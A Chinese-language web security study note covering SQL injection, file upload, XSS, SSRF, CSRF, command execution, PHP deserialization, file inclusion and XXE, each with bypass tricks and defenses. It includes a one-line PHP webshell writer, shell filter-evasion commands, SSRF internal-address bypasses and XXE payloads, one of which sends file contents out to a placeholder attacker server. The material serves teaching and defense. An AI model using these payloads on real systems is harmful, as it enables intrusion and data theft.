一. SQL注入原理的种类?防御呢?预编译原理?
原理:在数据交互中,前端的数据传入到后台处理时,由于后端没有做严格的判
断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。
种类:字符,数字,布尔,报错,延迟,联合,堆叠,宽字节,XFF等
修复:使用预编译,PDO,正则表达式过滤,开启魔术引号,加装WAF等
预编译原理:预编译将一次查询通过两次交互完成,第一次交互发送查询语句的
模板,由后端的SQL引擎进行解析为AST或Opcode,第二次交互发送数据,代
入AST或Opcode中执行,无论后续向模板传入什么参数,这些参数仅仅被当成
字符串进行查询处理,因此杜绝了sql注入的产生。
二.文件上传
文件上传漏洞是指用户通过界面上的上传功能上传了一个可执行的脚本文件,而WEB端的系统并未对其进行检测或者检测的逻辑做的不够好。
通过来说文件上传功能是没有问题的,主要是服务器如何对上传的文件如何进行处理。
若WEB未对用户上传的文件进行有效的审查,若存在恶意用户对其上传一句话木马,从而实现控制WEB网站的目的。
种类
1.前端Js
2.htaccess
AddType application/x-httpd-php .png
3.MIME类型
Content-Type:image/png
4.文件头判断
GIF89a
5、黑名单-过滤不严
无递归,pphphp
6、黑名单-过滤不严
系统大小写敏感属性
7、低版本GET-%00截断
自动解码一次
/var/www/html/upload/x.php%00
8、低版本POST-%00截断
手工解码一次
../upload/x.php%00 二次解码
9、黑名单-过滤不严
php3
10、逻辑不严-条件竞争
<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
上传不断发包
请求不断发包
11、二次渲染
先搞个正常图片,上传导出渲染后的图片
对比保留部分,在保留部分添加后门代码
最后利用提示的文件包含执行图片后门代码
11、函数缺陷
move_uploaded_file 1.php/.
12、代码审计-数组绕过
防御
1、执行权限
文件上传后存储目录不给执行权限
2、解码还原
数据做存储,解析固定(文件后缀名无关)
文件上传后利用编码传输解码还原
#文件-存储方案-分站存储&OSS对象
1、分站存储
upload.xiaodi8.com 上传
images.xiaodi8.com 存储
2、OSS对象
Access控制-OSS对象存储-Bucket对象
3.XSS 漏洞简介
XSS又叫CSS(Cross Site Script)跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。
常见的输出函数有: echo printf print print_r sprintf die var-dump var_export.
分类 反射型 存储型 dom型
绕过方式
1.空格过滤
当空格被过滤了时,我们可以用 /
来代替空格:
2.引号过滤
3.括号过滤
4.关键字过滤
大小写绕过
双写绕过
5.字符串拼接绕过
6.编码绕过
7.过滤url地址
8.伪协议
防御:
字符过滤,实体化编码,http_only,CSP防护,WAF拦截等
四、SSRF是什么?
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。
一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
危害:
1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息;
2.攻击运行在内网或本地的应用程序(比如溢出);
3.对内网web应用进行指纹识别,通过访问默认文件实现;
4.攻击内外网的web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等);
5.利用file协议读取本地文件等。.
6.各个协议调用探针:http,file,dict,ftp,gopher等
http:192.168.64.144/phpmyadmin/
file:///D:/www.txt
dict://192.168.64.144:3306/info
ftp://192.168.64.144:21
绕过方式
1、限制为http://www.xxx.com 域名时(利用@)
2.采用短网址绕过
3.采用进制转换
127.0.0.1八进制:0177.0.0.1。十六进制:0x7f.0.0.1。十进制:2130706433.
4.利用特殊域名
原理是DNS解析。xip.io可以指向任意域名,即
127.0.0.1.xip.io,可解析为127.0.0.1
5.利用[::]
可以利用[::]来绕过localhost
http://169.254.169.254>>http://[::169.254.169.254]
6.利用句号
127。0。0。1 >>> 127.0.0.1
7、CRLF 编码绕过
%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行HTTP头部注入
2、常见限制
1.限制为http://www.xxx.com 域名
采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com
2.限制请求IP不为内网地址
当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换
3.限制请求只为http协议
(1)采取302跳转
(2)采取短地址
SSRF漏防御
通常有以下5个思路:
1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
五 csrf
什么是CSRF?
CSRF (Cross-site request forgery,跨站请求伪造)也被称为One Click Attack或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装成受信任用户请求受信任的网站。
种类分为:
get 和 post
利用:
绕过0:规则匹配绕过问题(代码逻辑不严谨) 1、<meta name="referrer" content="no-referrer"> 2、http://xx.xx.xx.xx/http://xx.xx.xx.xx
绕过1:配合文件上传绕过(严谨使用同源绕过)
绕过2:配合存储XSS绕过(严谨使用同源绕过)
绕过0:将Token参数值复用(代码逻辑不严谨)
绕过1:将Token参数删除(代码逻辑不严谨)
绕过2:将Token参数值置空(代码逻辑不严谨)
防御
1、验证码
2、在请求地址中添加 token 并验证
3、在 HTTP 头中自定义属性并验证
4、验证 HTTP Referer 字段
六.RCE
RCE代码执行:引用脚本代码解析执行 -RCE命令执行:脚本调用操作系统命令 漏洞函数: 1.PHP: PHP代码执行函数: eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()、等 PHP命令执行函数: system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()、等 2.Python: eval exec subprocess os.system commands 3.Java: Java中没有类似php中eval函数这种直接可以将字符串转化为代码执行的函数, 但是有反射机制,并且有各种基于反射机制的表达式引擎,如: OGNL、SpEL、MVEL等.
代码执行: 脚本——java,php,python 产生——Web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具、公开漏洞、手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产品 命令执行: 系统——Linux、Windows 产生——web源码、中间件平台、其他环境 检测——白盒 代码审计 检测——黑盒 漏扫工具,公开漏洞,手工看参数及功能点 防御——敏感函数禁用、变量过滤或固定、WAF产
1)关键字过滤:
1、过滤flag关键字
通配符
flag=fl* cat fl* cat ?la*
2、转义符号
ca\t /fl\ag
cat fl''ag
2、1使用空变量$*和$@,$x,${x}绕过
ca$*t fl$*ag ca$@t
fl$@ag ca$5t
f$5lag ca${2}t
f${2}lag
3、拼接法 a=fl;b=ag;cat$IFS$a$b
4、反引号绕过:
cat `ls`
5、编码绕过:
echo 'flag' | base64
cat `echo ZmxhZwo= | base64 -d`
6、组合绝活
touch "ag
" touch "fl\\"
touch "t \\"
touch "ca\\"
ls -t >shell
sh shell
# \指的是换行
# ls -t是将文本按时间排序输出
# ls -t >shell 将输出输入到shell文件中
# sh将文本中的文字读取出来执行
7、异或无符号(过滤0-9a-zA-Z)
异或:rce-xor.php & rce-xor.py
或:rce-xor-or.php & rce-xor-or.py
(2)过滤函数关键字
1、内敛执行绕过(system)
echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);
3、过滤空格
{cat,flag}; ${IFS$; $IFS$9; <; <>;
3)无回显利用 1、直接写个文件访问查看 2、直接进行对外访问接受
RCE漏洞危害
①继承Web服务器程序权限,去执行系统命令;
②继承Web服务器权限,读写文件;
③反弹shell;
④控制整个网站甚至是服务器;
RCE漏洞防护
①对用户的输入作严格的过滤,如白名单策略;
②尽量不使用容易产生漏洞的危险函数;
③保证用户不用控制危险函数的传参;
七.php反序列化
1.概述
反序列化是将序列化得到的字符串转化为一个对象的过程;
反序列化生成的对象的成员属性值由被反序列化的字符串决定,与原来类预定义的值无关;
反序列化使用unserialize()函数将字符串转换为对象,序列化使用serialize()函数将对象转化为字符串
2.常见PHP魔术方法?- 对象逻辑
__construct(): //当对象new的时候会自动调用
__destruct()://当对象被销毁时会被自动调用
__sleep(): //serialize()执行时被自动调用
__wakeup(): //unserialize()时会被自动调用
__invoke(): //当尝试以调用函数的方法调用一个对象时会被自动调用
__toString(): //把类当作字符串使用时触发
__call(): //调用某个方法,若方法存在,则调用;若不存在,则会去调用__call函数。 __callStatic(): //在静态上下文中调用不可访问的方法时触发
__get(): //读取对象属性时,若存在,则返回属性值;若不存在,则会调用__get函数
__set(): //设置对象的属性时,若属性存在,则赋值;若不存在,则调用__set函数。
__isset(): //在不可访问的属性上调用isset()或empty()触发
__unset(): //在不可访问的属性上使用unset()时触发
__set_state(),调用var_export()导出类时,此静态方法会被调用
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
3.构造pop
方法
1. __wakeup()方法漏洞
2. O:+6绕过正则
3. 引用
4. 对类属性不敏感
5. 大写S当十六进制绕过
6.php类名不区分大小写
危害
- 任意代码执行
- 数据泄露
- 拒绝服务攻击
- 权限提升
防御
- 不要反序列化来自不可信来源的数据。
- 使用反序列化过滤器来限制反序列化的数据类型。
- 保持PHP应用程序和库的最新状态。
- 使用安全编码实践。
八.文件包含
1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
危害:
远程代码执行:攻击者可能能够执行任意代码,这可能导致服务器被完全控制。
敏感数据泄露:攻击者可能访问应用程序的数据库和文件系统,获取敏感信息。
网站完全被控制:通过注入恶意文件或脚本,攻击者可以控制网站的行为。
DDoS攻击:通过滥用文件包含漏洞,攻击者可以发起资源耗尽攻击,影响网站的正常运行。
利用
4、利用 本地利用思路:
1、配合文件上传
2、无文件包含日志
3、无文件包含SESSION
4、无文件支持伪协议利用
防御:
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
3、php版本升级,防止%00截断
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
九XEE
漏洞成因:解析时未对XML外部实体加以限制,导致攻击者将恶意代码注入到XML中,导致服务器加载恶意的外部实体引发文件读取,SSRF,命令执行等危害操作。
特征:在HTTP的Request报文出现一下请求报文,即表明此时是采用XML进行数据传输,就可以测试是否存在XML漏洞。
Content-type:text/xml application/xml
利用
把语句放到请求包
回显
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>xiaodi</password></user>
2.无回显
1.带外测试
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE xiaodi [
<!ENTITY test SYSTEM "file:///d:/1.txt">
]>
<user><username>&test;</username><password>xiaodi</password></user>
2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [ <!ENTITY % file SYSTEM "http://127.0.0.1:8081/xiaodi.dtd">
%file;
]>
<user><username>&send;</username><password>xiaodi</password></user> xiaodi.dtd
无回显
OOB
先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://
xxx.xxx.xxx/test.dtd"
>
%remote;
%all;
]>
危害
文件读取,命令执行,DOS攻击,SSRF
防御
XXE漏洞归根结底在于XML文档解析引入外部实体,禁止加载外部实体。
使用安全的libxml依赖库,版本在2.9以上的版本